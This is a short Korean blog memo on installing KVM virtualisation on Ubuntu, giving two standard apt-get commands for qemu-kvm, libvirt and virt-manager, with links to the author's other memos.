bctf2016-bcloud  (0) 2016.03.21
Posted by goldpapa
,

ubuntu KVM 가상화 설치

MEMO 2016. 7. 25. 20:14

(참고)

http://www.oss.kr/oss_repository9/98713


sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils

sudo apt-get install virt-manager



'MEMO' 카테고리의 다른 글

맥에서 안드로이드 usb 테더링 할 때  (0) 2018.12.09
linux version information  (0) 2016.07.24
arm, mips 2.6에 gcc 설치하기  (0) 2016.07.24
strace 4.12 arm cross compile min version 2.6.32  (0) 2016.07.19
FATAL: kernel too old 문제  (0) 2016.07.19
Posted by goldpapa
,